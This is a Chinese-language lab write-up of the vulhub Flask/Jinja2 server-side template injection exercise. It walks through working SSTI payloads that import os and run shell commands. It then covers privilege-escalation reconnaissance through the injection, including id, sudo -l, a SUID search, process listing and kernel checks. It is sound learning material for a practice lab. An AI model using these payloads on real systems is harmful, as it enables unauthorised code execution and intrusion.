前言:终于开启vulhub篇章哩 ,小菜鸡也要进军真实渗透🤬然后搭建的话网上现在其实都有教程,只不过可能有些遗漏啥的,问问AI就行,这里就不赘述了。那么本文是经典的flask ssti,之前做的都是找flag,这次认真学点不一样的。
1.寻找RCE
最开始进去就是最基础的:

但是这里没说传啥,那么试试那么?name,然后就能发现是jinjia2模板。
那么就按正常的流程走一遍,但是走着走着会发现一个问题:

正常来说返回的是所有的类,但是这里好像被截掉了,只剩下间隔用的逗号,那么这样的话我们就不知道类的编号了,那么就换config来,hackbar里偷懒一下:

这里报错了,可能的情况是没有os,那么我们可以看一下keys:
python
# 查看__init__的__globals__所有键
?name={{ config.__class__.__init__.__globals__.keys() }}

发现并没有我们所要的os,但有bultins,因此可以通过这个去导入os:
python
?name={{ config.__class__.__init__.__globals__['__builtins__'].__import__('os').popen('ls').read() }}
这样就能成功RCE哩~

看一下文件里面写了点啥(这里重新排序了一下):
python
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
直接拼接用户输入:Template("Hello " + name) 把用户输入的 name 直接拼接到模板字符串中
动态创建模板:每次请求都创建一个新的 Template 对象,而不是使用预定义的模板文件
没有输入过滤:对 name 参数没有任何过滤或转义
可能只有逗号的原因
# 输入
name = "{{''.__class__.__mro__[1].__subclasses__()}}"
# 生成的模板
t = Template("Hello {{''.__class__.__mro__[1].__subclasses__()}}")
# 渲染结果(伪代码)
result = "Hello " + str([<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, ...])
# 在HTML中显示时,列表的字符串表示可能被截断或格式问题,只剩下列表元素之间的逗号
然后这里学到一个新姿势:
python
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'wrap' in c.__name__ %}
{{c.__name__}}:{{c.__module__}}
{% endif %}
{% endfor %}
目的是列出当前 Python 环境中,所有类名里含有 "wrap" 字串的类,以及它们所属的模块,虽然这里可能没啥用:

2.尝试提权
如果是CTF的话一般到这里再找个flag就结束了,但现在远不止于此,我们先看一下当前属于什么:
python
?name={{config.__class__.__init__.__globals__['__builtins__'].__import__('os').popen('id').read()}}
?name={{config.__class__.__init__.__globals__['__builtins__'].__import__('subprocess').check_output(['id'])}}
执行系统命令 'id' 打印当前用户身份和组信息

- uid=33(www-data) 当前进程的有效用户 ID 是 33,用户名是 www-data(Web 服务器用户)
- gid=33(www-data) 主组也是 www-data
- groups=33(www-data),0(root) 这个用户额外属于 root 组(GID=0)
这里详细解释一下第三个:
bash
groups=33(www-data),0(root) 中的 0(root) 意思是:当前用户(www-data)的附加组(supplementary groups) 里包含了 GID=0 的组,而这个组的名字通常叫 root。
GID 0 到底是什么?
在 Linux 系统中,GID=0 几乎总是对应 root 组(/etc/group 里第一行通常是 root:x:0:)。
UID=0(用户 ID=0)才是真正赋予"超级权限"的东西 → 内核代码明确检查 UID 是否为 0 来决定是否 bypass 几乎所有权限检查。
GID=0 本身 并不 直接赋予内核级超级权限(不像 UID=0 那样)。
但 属于 root 组(GID=0) 在实际系统中仍然非常危险因为现实中大量关键文件/目录的组权限 被设置为 root:root 或 root:根组,而且权限往往是这样的:
rw-r----- 或 rw-rw----(640/660) → 拥有者(root)可读写,组(root)可读写,其他人无权。
正常情况下应该是什么样?
www-data 的 groups 通常只有:www-data(GID=33)
绝对不应该 出现在 root 组(GID=0)里
这是典型的配置错误(误用 usermod -aG root www-data)或容器/Docker 打包失误导致的
那么我们可以尝试一下能不能提权,还是whoami一下:
python
?name={{config.__class__.__init__.__globals__['__builtins__'].__import__('os').popen('whoami').read()}}

python
?name={{config.__class__.__init__.__globals__['__builtins__'].__import__('os').popen('sudo -l').read()}}
sudo -l 是一个Linux命令,用来查看当前用户被允许以root权限执行哪些命令
但是这里结果啥都没有,那么看一下SUID:
python
/?name={{config.__class__.__init__.__globals__['__builtins__'].__import__('os').popen('find / -perm -4000 2>/dev/null').read()}}
bash
输出如下:
/bin/umount
/bin/su
/bin/ping
/bin/mount
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/passwd
/usr/lib/openssh/ssh-keysign
这些是 Debian/Ubuntu 系统上非常标准的默认 SUID 二进制(几乎所有新鲜安装的 Debian/Ubuntu 都会有这些)。它们是系统自带的,用于允许普通用户在特定场景下临时获得 root 权限执行某些操作(比如改密码、挂载文件系统、切换用户等)在这个列表里,没有容易直接滥用的自定义/第三方 SUID 二进制(比如 pkexec、sudo、find、vim、nano、less、more、nmap、python、perl 等常见 gadget)
没啥思路啊,看一下服务进程:
python
/?name={{config.__class__.__init__.__globals__['__builtins__'].__import__('os').popen('ps aux | grep root').read()}}
用查看系统中所有正在运行的进程,并筛选出包含"root"的进程。
ps:Process Status,显示当前进程状态
a:显示所有终端下的进程(包括其他用户的)
u:以用户为主的格式显示(显示CPU/内存使用率)
x:显示没有控制终端的进程(后台进程)
|:管道符,把前面的输出传给后面的命令
grep root:只显示包含"root"的行

python
好看一点:
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 2400 1476 ? Ss 06:13 0:00 /bin/sh -c gunicorn...
root 7 0.0 0.5 30464 21668 ? S 06:13 0:05 /usr/local/bin/python...
PID 1(init进程)是root启动的gunicorn主进程
PID 7 是root运行的Python解释器
gunicorn以root启动,然后降权到www-data运行worker
各字段详细解释:
| 列名 | 含义 | 在你的输出中的值 | 解释 |
|---|---|---|---|
| USER | 进程所属用户 | root, www-data |
谁启动的进程 |
| PID | 进程ID | 1, 7, 218, 220 |
每个进程的唯一编号 |
| %CPU | CPU使用率 | 0.0 |
占CPU的百分比 |
| %MEM | 内存使用率 | 0.0, 0.5 |
占内存的百分比 |
| VSZ | 虚拟内存大小 | 2400, 30464 |
虚拟内存使用量(KB) |
| RSS | 物理内存大小 | 1476, 21668 |
实际物理内存使用量(KB) |
| TTY | 终端类型 | ? |
问号表示没有终端(后台进程) |
| STAT | 进程状态 | Ss, S |
关键! 见下表 |
| START | 启动时间 | 06:13, 09:46 |
进程启动时间 |
| TIME | 累计CPU时间 | 0:00, 0:05 |
占用的CPU总时间 |
| COMMAND | 命令 | /bin/sh -c ... |
执行的完整命令 |
STAT 状态码详解(最重要!)
输出中有 Ss 和 S:
| 状态 | 含义 | 在我们的输出中 |
|---|---|---|
| S | Interruptible sleep(可中断休眠) | 进程7:S |
| s | Session leader(会话领导者) | 进程1:Ss |
| R | Running(运行中) | - |
| D | Uninterruptible sleep(不可中断) | - |
| Z | Zombie(僵尸进程) | - |
| T | Stopped(停止) | - |
| < | High-priority(高优先级) | - |
| N | Low-priority(低优先级) |
然后这里一般的思路是能否让root的python进程执行任意代码,但是我尝试了一下不行,root权限是卡死的(或者说我还没那个石粒)这里后续就不放出来了,写多了容易错,看着也乱
3.另一条路
换种方法看一下有没有内核漏洞:
python
# 检查内核版本
/?name={{config.__class__.__init__.__globals__['__builtins__'].__import__('os').popen('uname -a').read()}}
输出:Linux e6b68dc4971d 6.18.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.18.12-1kali1 (2026-02-25) x86_64 GNU/Linux
# 检查是否有公开的 exploit
/?name={{config.__class__.__init__.__globals__['__builtins__'].__import__('os').popen('cat /etc/*-release').read()}}
输出:PRETTY_NAME="Debian GNU/Linux 10 (buster)" NAME="Debian GNU/Linux" VERSION_ID="10" VERSION="10 (buster)" VERSION_CODENAME=buster ID=debian HOME_URL="https://www.debian.org/" SUPPORT_URL="https://www.debian.org/support" BUG_REPORT_URL="https://bugs.debian.org/"
这里内核是最新的,然后系统是Debian2019比较老,但是尝试了一下CVE发现不行,这里只能到此为止了,让我多做做提权的题熟悉了之后再回来看。
4.总结
上来直接从SSTI跳到提权跨度还是太大了,让我后续再沉淀沉淀,不过至少了解了提权有关的一些命令,也算是有所收获